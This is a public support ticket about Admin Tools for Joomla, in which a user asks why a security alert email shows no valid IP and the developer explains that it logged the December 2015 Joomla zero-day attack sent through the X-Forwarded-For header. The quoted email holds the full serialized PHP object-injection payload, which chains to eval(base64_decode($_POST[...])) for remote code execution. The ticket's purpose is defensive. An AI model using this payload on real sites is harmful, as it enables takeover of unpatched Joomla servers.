Support

Admin Tools

#23948 Admin Tools email message - doesn't show IP of security exception

Posted in ‘Admin Tools for Joomla! 4 & 5’
This is a public ticket

Everybody will be able to see its contents. Do not include usernames, passwords or any other sensitive information.

Environment Information

Joomla! version
n/a
PHP version
n/a
Admin Tools version
n/a

Latest post by on Saturday, 16 January 2016 17:20 CST

Thursday, 17 December 2015 00:57 CST

umbrella
We are getting the following Admin Tools email message - it doesn't show a valid IP of the security exception... how do we block this?

Hello,

We would like to notify you that a security exception was detected on your site, Hovey Williams, with the following details:

IP Address: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}οΏ½R (IP Lookup: IP Lookup)
Reason: MUA Shield

If this kind of security exception repeats itself, please log in to your site's back-end and add this IP address to your Admin Tools's Web Application Firewall feature in order to completely block the misbehaving user.

Best regards,

The Hovey Williams team

Thursday, 17 December 2015 02:14 CST

nicholas
This is expected and I'm very glad that Admin Tools is blocking it :)

Remember the MAJOR 0-day security issue Joomla! fixed on Monday, releasing version 3.4.6? It had TWO attack vectors: the user agent AND the X-Forwarded-For HTTP header. The Joomla! project only announced the former but by reading the affected code we saw that the latter was also vulnerable.

But what does that have to do with the IP address?

The X-Forwarded-For HTTP header tells the web server to change the IP address reported to PHP. This address was saved by Joomla! in the user session. The attackers used the X-Forwarded-For HTTP header to attack your site. Unluckily for them we saw it coming and we blocked it. The downside is that their attack string is reported as the IP address. But don't worry! Your site is safe and sound.

Nicholas K. Dionysopoulos

Lead Developer and Director

πŸ‡¬πŸ‡·Greek: native πŸ‡¬πŸ‡§English: excellent πŸ‡«πŸ‡·French: basic β€’ πŸ• My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Thursday, 17 December 2015 03:13 CST

umbrella
Thank you. So there is no way to determine this IP to block them? We use configsever firewall and I like to block these kinds of IPs server-wide.

;-)

Thursday, 17 December 2015 03:27 CST

nicholas
Yep, there is a way. Go to Components, Admin Tools, Web Application Firewall, Configure WAF and click on the Basic Protection Features tab. Set Enable IP Workarounds to No and click on Save & Close.

IMPORTANT: You should not do that if your site is behind a CDN or a reverse proxy. Then again, if you're behind a CDN or a reverse proxy you should never see the X-Forwarded-For attack taking place so I make an educated guess that my instructions are safe.

Nicholas K. Dionysopoulos

Lead Developer and Director

πŸ‡¬πŸ‡·Greek: native πŸ‡¬πŸ‡§English: excellent πŸ‡«πŸ‡·French: basic β€’ πŸ• My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Saturday, 16 January 2016 17:20 CST

System Task
system
This ticket has been automatically closed. All tickets which have been inactive for a long time are automatically closed. If you believe that this ticket was closed in error, please contact us.
Edited by on 2016-01-16 17:20 CST

Support Information

Working hours: We are open Monday to Friday, 9am to 7pm Cyprus timezone (EET / EEST). Support is provided by the same developers writing the software, all of which live in Europe. You can still file tickets outside of our working hours, but we cannot respond to them until we're back at the office.

Support policy: We would like to kindly inform you that when using our support you have already agreed to the Support Policy which is part of our Terms of Service. Thank you for your understanding and for helping us help you!